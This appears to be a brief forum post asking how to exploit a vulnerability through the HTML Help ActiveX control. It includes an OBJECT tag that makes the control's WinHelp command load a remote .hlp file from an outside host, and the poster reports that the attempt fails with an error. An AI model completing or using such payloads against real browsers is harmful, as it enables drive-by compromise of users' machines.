Can this vulnerability be exploited using the HTML help ActiveX control ?

I am trying:
<OBJECT
id=winhelp
type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
codebase="hhctrl.ocx#Version=5,02,3790,1194"
width=100
height=100
>
<PARAM name="Command" value="WinHelp">
<PARAM name="Button" value="Text:Exploit">
<PARAM name="Item1"
value="http://www.xfocus.net/flashsky/icoExp/search.hlp">MyWindow">

</OBJECT>

However, i get an error "This operation is allowed only within HTML help" ?

Is this approach wrong ?

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